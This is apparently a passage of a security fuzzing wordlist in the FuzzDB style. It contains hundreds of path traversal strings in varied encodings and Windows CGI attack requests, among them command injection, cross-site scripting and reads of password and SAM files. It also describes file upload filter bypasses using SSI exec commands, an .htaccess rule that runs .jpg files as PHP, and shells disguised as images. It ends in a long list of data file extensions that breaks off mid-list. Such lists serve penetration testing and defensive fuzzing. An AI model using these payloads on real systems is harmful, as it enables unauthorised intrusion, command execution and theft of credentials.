0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br 